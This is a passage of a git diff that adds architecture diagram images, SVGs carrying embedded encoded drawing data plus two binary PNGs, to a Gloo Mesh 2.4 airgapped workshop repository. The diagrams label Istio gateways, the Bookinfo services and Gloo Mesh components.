dTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv1AKUJUoexwdLtcdTAwMWKUkkgzmDM/nPPXS83VrnLi+PjhWlx1MDAxNFxump89ptl5vdb8hlJBQamQljekYVx1MDAxZvStVlTlXHUwMDFhzZfLflWN46O3cSOIMOA6irVl7fm+cX+VfVx1MDAxN62YKNdaXHUwMDAxjJtDRVnNo35cdTAwMWE/XGbv84k4SuC3Tlx1MDAwMOPOzmfNaY7G6tPS8SnNPqJp9+YygHEvejSNxqiXbJ/eXlxmxmM8fMzul/uzXHRTOlx1MDAxM8ohMSX1SLab345y/1x1MDAwMdbefFx1MDAxMFFMXHTA2VuVcUv5UWWf5LXjJqHOeFx1MDAxN/8kQJlodbtHmfKgdvRPJ19dWr5PcNptwGer2HIx2Vx1MDAxZlPdiTFcdHZccpalTFx1MDAxMqX0XHUwMDE2tl7p8bWp758v4iedi+dMNf/+ftq+jzbAJCZcdTAwMDbPIzqQXHUwMDEzXHUwMDFkXFxcdTAwMWO5XHUwMDFiwiQ29vtgSVvCyUcwoFJCwFx1MDAwYlxyjSdDyXJw5EnllydcdTAwMGLdbrPeqXRjlT58sdwpXHL+6XTy7TJcYrhi2ZE/xa78Oez23Jhz6TlWOdF7irvxJfeI9uGUKKH9e9FcdTAwMDfvJ9XRuEbPXG7ppFx1MDAxOOZcdTAwMDGLXHUwMDE1T4dR50ssLe3Ol1x1MDAxMpHgQthd+ZI6XHUwMDA0ra/zJWHMxFx1MDAwZoeYeb5Pkt+BYnRcdTAwMDNierNd0eZ5p1x1MDAxOXqy/I9VduB5qt2Dk2GhucTbZCF6pypElempxaUmXGYoSyMqVpWxJJY0XHUwMDE310hTtV+kvqu7R1xui2vNNFx1MDAxN1x1MDAxY1x1MDAxOFvJdVx1MDAxMYAsmCHIJS2RYFx1MDAxMittS/z6KVx1MDAxM1x1MDAxOFx1MDAxNYxRXHUwMDE1ovsnXFxVPVx1MDAxOOb7w5N6p1TvVFc/XHUwMDAzal98spA4v1xusqR8JE7NJUBxNPixmJRcdTAwMGJcboJcdTAwMWN2XHI2RWBq+1Y13zPzJlx1MDAxNidcdTAwMTKWXHUwMDE0a9BcdTAwMGKCXGL+81x1MDAxYv9dPER+MDztttv1ITzqTbfeXHUwMDE5Oj7SsWG+Wjm/xt/wUPbPVrm0Z0ZcXN67xb+OXHUwMDE2dDz/5ePf//cvx2/HXFxpbP6pXHUwMDAzeS1G/Mv+c2tcdTAwMTHDJFt9d5H/oDXnmPhcdTAwMGZcIvbWLFGVMCBCuElnllJcdTAwMGK79fNcdTAwMDNWUFx1MDAwZZTGQLiYY1x1MDAxZrkyr3BcdTAwMDRcZnHwJyNLXHUwMDEzXG5izkR2XHUwMDBiYSo/rFxuXHUwMDE4KYSmSKPfRMC4iVx1MDAxMW/ouiRGYDFMKi2QMCVUaEVs3/ohRrhFXHUwMDEwXHUwMDAyk1x1MDAwZUtcdTAwMDJrqyVbk1wivkSbd1x1MDAxYdzynIg22kzARlL4N1x1MDAxM2xtUlx1MDAxOFvyY1ZcdTAwMDJcdTAwMDPd/V6yjdClv18j7C1F24bUX3dcdTAwMDQlsSCAKbZcYj7qkXJcdTAwMWZPcq99epZKX1x1MDAwYplcdTAwMWK8VnW0o7CxQJ7JjtzkQpKAwrBXPZH7XHUwMDFkmFx1MDAwMcdcdTAwMDLFYFx1MDAxYc1cdTAwMDOz91ns8nh6cYJbp6ei8Zg+viuis+hcdTAwMWWYPZxeM5VcdTAwMTk+t3msN72NMfJeq/gsXHUwMDBi5jlu9ub8lpL35PNFPJHJXo/qd/XOXVx1MDAwMONcdTAwMDa+vJtOSJxvuFx1MDAxOHaNnkJP71wi7sjMlLgwsSb+jT/v9YzoXHRcdFxiL+0pvFx1MDAxOFx1MDAwNu1cdTAwMTGM8Np0RLJRgK3H4FxiUHmKSlx1MDAxOZ53NoInJr1+tzQqXHUwMDBle/mqs18mrDicXHK6edVbY5/mXHUwMDFl8EK5XHUwMDFlloB5Soi04buNLJpuntyVupXabSV13VXl6vnlw8StYmhU0Fx1MDAwNVvJXHUwMDFlXy2lwFRgXGZcdTAwMWE0ujB4lCBcdTAwMWHNXHUwMDFjL0FopjHl6UbjZthJ1yentfO4XHUwMDBiXGbYXHUwMDA2XYQ07FdcdTAwMDMt/dJFvl6qXHUwMDBleOn9+rGTrzynyOlzXHUwMDAw41x1MDAwNr68m0CL81xyXHUwMDBmXHRa3Fx1MDAwNVwiwZhcdTAwMGLFt8l69V7PqIJcdTAwMTbGPOtVXG4hXHUwMDAys7h2iFx1MDAxNF4vSSlcdTAwMTlAXHUwMDE0ZFx1MDAwZmn+XHUwMDAzYEqpXGbgoTVwhihq6euBQZRcclxuflx1MDAxNaL8muLu8IQyV1x1MDAxM4IzqqjiW1x1MDAxND57r5wnyplscSaOxzHdw1x1MDAxOf6YdrMgolx1MDAwMk9cdTAwMDTyhCdcdTAwMTKQQ0ThicJEKqojmoJ+diUqM/30OD7LvLaBcNJvj++x/XHE11x1MDAxYTYsXHUwMDE0XHUwMDEx0nSH53qWeX5KTpsk0c+PR3GZXHUwMDFlJUJccjp1fpBcdTAwMDOiXHUwMDEzaqusvlx1MDAxYUOjtOJqmzwm722KKjhcdTAwMTHIXHUwMDEznEhFXHUwMDBlXHROXHUwMDFj0pgw52BG6j/Kh9LPXHUwMDBm652qXHUwMDBiOFx0K4/JW72vgpNfU9xcdTAwMDOcuJdtUJgrXHUwMDEzbuzfvUmOmT4rydf8tJxcdTAwMWXn+8niXVbeRlx1MDAxY5xIY1xiePlOdFTBXHTWTCnJWIhxp/ugk8a01bwu3N+owv1VoVF9LKaafZcziW1cdTAwMTTo11x1MDAxYTasg5mQpvv56MT5QVx1MDAwZYpO0Oq7i1x1MDAwM1x1MDAxZiyRQGyL0rze+1x1MDAxNFV4XCIl9vadyGj5Tlx1MDAxOMdMMVx1MDAwMFV/XHUwMDE0PCm/18vjz/WdbFDwa/Dk51x1MDAxND1cdTAwMTnRNSjOXvJ3lVx1MDAxM8m8MjTbXCLu1tuLvVx1MDAxNSeSz+NEQaWlpVx1MDAxNlxmU61cZiktc1wi18JSiFKMsVDSvVx1MDAwZty+jKioxangkjOp4LLVXHUwMDEyWqSqXHUwMDExSyNFTUM6TFx1MDAxNF3nUlx1MDAwNfJCKIpcdTAwMGVcdTAwMTeO/ymRcd4noEeLKDRcdTAwMTNPysHURVxiXHUwMDEwnFx1MDAxMEQge7zpryg0alGQxppiLqjQZD1cYs1XaJy3z3N5UoaYTLV/hCU2zVx1MDAwN8XapLRFMGNYXGJFKJPyI1xm9otGxrlcdTAwMTK3udbIejHcX/afW0s3wdy9IJKZWMktQuK8YWZUhZsk1FwiSFxujYBcdTAwMDeFzbnwU7YpXHUwMDBiwYtcdTAwMTZKYcmxe9TvvtJNalx1MDAwYitOJUZcdTAwMDQpxJVDu1x1MDAxOFx1MDAxMMMm/0FcdTAwMTKm5vGgq8KNXGKuOWCQ8Fx1MDAxMMjXXHUwMDEybiBGwDSlhGhlsJmiNqb6JdqYJShcYjelYOtB+Fx0uZts88Yky3NcdTAwMDKkKI1cdTAwMWJLc8Wwdlxi+lx1MDAwNTtcdTAwMWOQXHUwMDA1U4IpjTGnXzvo15WwzbVK0ltcbrZcclx1MDAxMTlk9d2P9GVMwaqQW1x1MDAwNM0l7tKj9+tYb4JTeDxcIvX+NT1x8ypFxoYyx8/avVx1MDAxOCjT2p9cdPX5rX5gblxitsfmpI+SV+nrdfpcdTAwMTGuelx1MDAxZVx1MDAwYlx1MDAwNCRAt+lcdTAwMWR610s2jjmtnlx1MDAwZk6m2dfn1mum+5aPPi9cYi9eXHUwMDEwlPhzsVx1MDAxZaTRXHUwMDBmWF9S84i2r/56jX6Ua/484DxcdTAwMDRcZkH9K4a7wVls+NZEb3eZ2Fx1MDAxYj95jyWTtZdoXHUwMDFmN4Ci9WJcdTAwMDVORHDl+Fx1MDAwMz5tQExSTomOZlwiyE2l0jjNXHUwMDBlume9XFw/l22fNth54Ti6MZXvsefs6LbWTbZksXL1Uu7Oklx1MDAwM1x1MDAxMcC4/HZ0VinN1EtV3uVzuVYu/db0KVx1MDAxMDzHXHJpeUNcdTAwMWH2+Vq0XHUwMDEyiedXObrsXHUwMDBlrp/v1etbtb/XKmwsx+/4IJ8gbd3bXHUwMDEyucJcdTAwMGVcdTAwMDKQQ1xusk0rWu99iijskFx1MDAwNld4yFrG/JUqOUzaiqRcdTAwMThxMM3+qJCLQ6WtbEBcdTAwMTLhpK1Q917RXHUwMDA0cdC1xlx1MDAxYumbRes3w7uz2vVgpppjPDq91MVRXHUwMDE2R1x1MDAxYlxmcUE97Vx1MDAwMu6zcdhcdTAwMDHAXHUwMDEw0ZxLRlU0zYKpJG/t8XOx03pJXHUwMDE2s5V0LNfW9/ur1ZCG/WpcdTAwMThrNpXq9Fx1MDAwMuez5WSO3DVeLuhgelx1MDAxM8C4X2XXNmEh51x1MDAxYlx1MDAxZVx1MDAxMFx1MDAwYlH3XHUwMDFjXiHBuGdiXHUwMDBiXHUwMDBmjPdyRlx1MDAxNFxucaE8JS18XHUwMDFjlNlcdTAwMTlMMozWmmD2Z7VoPEQyzFx1MDAwNtRcdTAwMTBCMoxytUtcdTAwMTjV3JRW8s2KT+1BIVx1MDAxM384LTZPkpnk2/Esn7raqa7pZ/p/PCGPXHUwMDE0PnuEXHUwMDFkXHUwMDAw8mDMgS0pjmYuzPvd9aAx0bysX17uhzr9LtXl6/7K82tcclx1MDAxYlx1MDAxNjL5KquwsbqI41xyXHUwMDBmiUzc3eHYlGNcIpj4d9J4L2dEkYkknshEKnZIZLKeXHSjuFKMcPJnhZpcdTAwMWUgXHUwMDEzZoNyXHUwMDBmIVx1MDAxM0Z69EJQXHUwMDFhKHGbmuuoRGKjLmq+00m60UiU3u7UTcTLiCilvd0xPks7fz42Ici0R6Q8okXKrp50u69cdTAwMWFcdTAwMGY3d3ft+Kz+Osn1+0/7q8+vNWxYJ1Nfa1x1MDAxNYJHaJswj/ODXHUwMDFjXHUwMDE087hcdTAwMTeDVIrOY479u7299ymioEdp5u2O0Z92MuVcdTAwMGL0YMY1o4hcdTAwMWXO21x1MDAxZLX8mpBAz1x1MDAwNtRcdTAwMTBsfo3wKDpNhFRAgv750NvZXHUwMDFl0VxidOAxXHUwMDBiXHUwMDEz4EKsJVJcdTAwMWPjZT7kWluIf0p2XHIlinLOXHUwMDExZlRQh/jzjdk1XHUwMDFh3qNUsa/ag8ZnXHUwMDAwuvdB7dFydo1plISoXCJcdTAwMTL2WWjtXHUwMDEwglx1MDAxZUx2jbdcdTAwMTP1yCO7XHUwMDA20z8hu8aZuM1cdTAwMTVado3kXHUwMDFl7e5cdTAwMTEoVq23SK/xxq5cdTAwMTFcdTAwMTVuilx0i1xugjRcIiDf7KkpP0CG6dGKPim9hlxuwTmgXHUwMDE5MNKEdOjcsSm9Rlx1MDAwM+GAXHRcdTAwMWWi1+VrSTfYOo00IdTUIFZUyfDSa7whyZF7eo3LpH6z/Fx1MDAxYWfKNtee+TWuok1cdNc+8KbKMdDkXHUwMDE2uTXe9mhEJZvG0uKMMrBcdTAwMTS5XHUwMDA0ubBaPYmY0o6YXHUwMDAzqDNcdTAwMDF0q/NcblCwXHUwMDE5atZcdTAwMWOkK2PEeKBcdTAwMWOMKSBcdTAwMDKYXGIhgFx1MDAxZpkg61xyiVxiKD3TeiG8bJtISDbfUlx1MDAwNCBcdTAwMTIz6aBcXFx1MDAxMFxy21x1MDAwYqpcdTAwMWGvQyTMXHUwMDAx3HFmuI7ATmOkd5Nt3j7mlVlcdTAwMDEjM8xcdFx1MDAxMFxy3Fx1MDAwZjmkRVx1MDAwM5pEXGJcZidcdTAwMGVcdTAwMTY9WFxm4otcdTAwMDM3V+o211x1MDAxYV1vKd08PfHMPV5HwZRcdTAwMTTgXHUwMDAw/9gtfn+OTquxs+vLzv1dNicnJ5V6xINcdTAwMDRApViEXCLMlZy/LqzwuXzDOsAkXHUwMDEx125IOznigVx1MDAxOVx1MDAxNZCEjmZYZPfm/UH00uPU1biSnzTGt+eFu5Poxi+evd6e4lxmu1x1MDAxOHdcdTAwMGJcdTAwMTl88zTU6eQkXHUwMDFiwLjF90JCxjsnjVxcnWZVcpprnJ5cdTAwMTVcdTAwMDJcdTAwMTg3pOVccmnYy76qPT4nbrNvol1sJ47r1490v67ymzzxzlx1MDAwZrJcdTAwMTh2jfzD9sQz5m4kg9VIXHUwMDExRVt44r33KaKeeCGRl6gl2GeOSCjd353CXHUwMDBmXHUwMDEwp/qgSXhcdTAwMDfwxMOP/Fxilsm2uvt74j1cdTAwMWHMbsJcZqtu+F/z21x1MDAwM/FcYtd6XHRcdTAwMDCAJSZcdTAwMWNv4a6qJ7pdXCJaM0Finft2rDq8zqDnqENcdTAwMWVhUYaJ0FxuXiVa8cRTXHUwMDFhXFyAcsCQXHUwMDA3rFx1MDAwZoGw4Cw8XHUwMDBiblx1MDAxZszz2lx1MDAxZTXp84RcZkW/jCtcdTAwMDI/4Cd09Y15gsI8IS3vV1x1MDAxOXZcdTAwMTPkcb7hXHUwMDAxIVx1MDAwZifu4edgtlxihbfoxeC9nJFFPNhT0nJcdTAwMTEpxGNcblx1MDAxN2mBKT2ceD1MwGX5qFVv15cwzCdcdTAwMDQgbIBcdTAwMGVcdTAwMGVRl4t57lx1MDAwMX/ci5Azwlx1MDAxMCWK+I+8fL3nmXiZ9vDxdfq5x27GqcvLZtTRXHUwMDBm87RCXHUwMDAyTM9cblx1MDAxYf1wc+xBOYom+uGdK/p4NWVP+ipenOBnVG/2J9/oJyj0XHUwMDEz0vL+4cNuXHUwMDAyVc43PCSoQq5ZLIpgqeFli1hcdTAwMGLP5YwqqFx1MDAxMtpTgKtogSowWcFmpTrEWsxRXHUwMDA0VeVS/XPDOTdAkfVwTjPB3WFcdTAwMTS3VfRZLSmMqKRKKP/ZZMnbaeq4dlx1MDAxZS/mZizea5/pbn7k5s71hFGf2LdcdTAwMDAox0KCMk3mrytcdTAwMDWFlZaWVJJcdTAwMTBcckxcYojFPeLpXHUwMDA3XHUwMDAw8sZRhTIrlFxugeEoaULgODpgxruXjtOj+LHupp/7lXzt5DE/q9de1OhcdTAwMWJHXHUwMDA1haNCWt7vYeG7z6p6jLq9buF49NrmpcvaJFlcdLdcdTAwMTac84NcdTAwMWNcdTAwMTKfeWRcdTAwMTlcdTAwMTNJmdxcbqB571NEXHUwMDAxXHUwMDFhXHUwMDA2leChXHUwMDFhjOIgvlTDZyE0U1xig9iD1v9cdTAwMDSEVlx1MDAxZlxm693Sp0K0XHIwZ1x1MDAxNaL9nOFcdTAwMWVcdTAwMTjNvS4jMFwiILhtmlx1MDAwMZ8/UJW8rtfvNUo9py5j+KmLW1x1MDAxMcdolClL2fzPayBNgSWFhaRcXEjNXHUwMDA0d+VEPyAtWGdcdTAwMTdBnFx0STSPZnhcdTAwMTObXHUwMDFkp+qnt8W3tn7Oofu79PQxU/xcdTAwMDZpQYG0kJb3a1xy233sXGZfLs6n+GWaf2j2JvHceIJcdTAwMDNY3MlxKt5Kjs7vOm00nehcdTAwMWEh8bZLkNdW4yZcdTAwMWWSV8epXGbNNVx1MDAwNJm16PCpq1x1MDAxZaehoj/nhT8k+tOusSVcdTAwMDSksSliSfxHeXnTVVTRXHUwMDFm5dRL6WhELelL6YRcdTAwMDL/bEF2XHUwMDFm8I9cdTAwMDJcZlX4gMW2XHUwMDBlXHUwMDAw/1x1MDAxMq1u9yhTXHUwMDFl1I7+6eSrS+tnQ4Js+Vx1MDAwZlx1MDAwM0OCXHUwMDFiwNQqXHUwMDEyXFxM9sdUd+NN5lx1MDAxZfclhFIm+t5/Ms/F+exheDl7jbPXu0S3cspPXHUwMDFleoWo86ZcdTAwMDDWxFqDXHUwMDE5ylx1MDAxNFx1MDAwN+paTubBSmiLm57wTGCNXHUwMDExc8/m8YFcdTAwMDc9WdN+XGK9SExcXEvYMVUplVxmtdXXPiBwj7DmfTSTI+Or7Vx1MDAxOT9cdTAwMDE3XHUwMDFj56dHxW671+3MXHUwMDFm2ElcdTAwMDbYXHUwMDEyQVx1MDAwM4v6XFx6XGZ3bneYoSfru+bxXHUwMDAxa1xiV+ZHmjNOt8lz8d74SNqCilx1MDAxM1x1MDAwYmxeirhcdTAwMDDWZzazav73XHUwMDFhK0sjZvotw0pwWzGKQE1BgiyTu0m0REwoQtaFgIm/YFhxXHUwMDAxXHUwMDEyXG7Aga1cZsovmSCwoFx1MDAxYcb4zasveCuYI3suMFwiXHUwMDEyXHUwMDEzg6hMT02GxKJT75G9+lx1MDAwMoZcdTAwMDVcdTAwMTdcdTAwMDaGcsJ3TOLzXHUwMDBl1j5arr7AgKVcdTAwMDRcdTAwMDFcdTAwMTSIKILNXFzPUNZcdTAwMTZgRY5NWiZWXGJ2fW1SXyqJz5W6zbVG14vh/rL/3MnRJairo1x1MDAwYmOzXHUwMDBmXFxs0b05XHUwMDExXHUwMDE3vdLZQ4KNMnR8fPLORbvRiDq0UaaaL1x1MDAwNlx1MDAxMSaFeVXLZZ4oRsLiSDNuyF9cdTAwMTJb6ZagoY2UesndtXicXHUwMDA10GFr7i4uiKJcdTAwMTSz8I4kN1x0NS+gM5hk78jje7xRuC3cl28r953xm1xmXHUwMDFm6OzOXHUwMDEwyv10XHUwMDFlc641XHUwMDA163OLdua6X1x1MDAxMGev7efYw10lXHUwMDEzzzQvSlwiXHUwMDExbXVvXG5Ie/JcdTAwMDMz3fhcdTAwMDLih71cXL9q7TxGXCJKXHUwMDExILJohjmeJ9uMJ3jxXHUwMDEyP2KWOb15YmX6XHUwMDFk5lx1MDAxOJjnN6Tl/VrDPuhbrajKNZovl/2qXHUwMDFhx0dv40ZcdTAwMDCLm0NFWc2jflx1MDAxYT9cZu/ziThK4LdOXHUwMDAw44blqX56Lqf4XTaf0qXuRHY7o+w9XHSkxnpGkofSyX36/qYzxJPXk/ho0lx1MDAwYmDc4D3gP51NPZpGY9RLtk9vL1x1MDAwNuMxXHUwMDFlPmZ9NuJ1XHUwMDE5d5Nn3ZmwP0Gtu3nvlHtcXIWpJqdMsIFvhe7Ntlx1MDAxMUW4XHUwMDE4XHUwMDBi4qnSOfWp0kNxrNtcZoxFZ1x1MDAxOaBcdTAwMDFFXHUwMDBm2M/3wI71dt741s1s4JdBuf/ukmEkdnWxbXCzb1x1MDAwMK7ujjfbxH9Oe1x1MDAxZizuXoNYmLK8W7Eufb58TqGLlzP9OJqlTs/Lb1eXbuVcdTAwMDGjgsVcdTAwMDHPWlJxaVxuyMHrcnFASikzvlx1MDAxMqmYkFx1MDAxYfGQPG9+kPhaR24llWaKXHUwMDFmMDDKSyvqbvo61aPk5kHP9FNnfDmOse9cdTAwMTiM4Fx1MDAwMmXDWd7vYUNcdTAwMDGgXHUwMDFiXHUwMDAzZVx1MDAxZFx1MDAxZuSAgE67XHUwMDFmx1x1MDAxMkyxNk5+/2rBe5+iiuhcdTAwMTBVXoqBY3+K4ZNcdTAwMDIlTFx1MDAxN2uYXHQ9YEjegfFcXCk/qFx1MDAxNbr5vnPYbFjBXHUwMDEyXHUwMDFiII87iltMd1x1MDAwZvRmKyG8andcdTAwMTGkKZVbNOq516p6fHv/WKgqWamlROekK85cIlx1MDAwZd4o0nZcdTAwMWVlcoVJo4veOFd0XsIxkujtLvZem5TeW2ckWb3MN2qXNJ/+TnNcblxmvYW0vN/Dhjds8N7OTaDQ+UFcdTA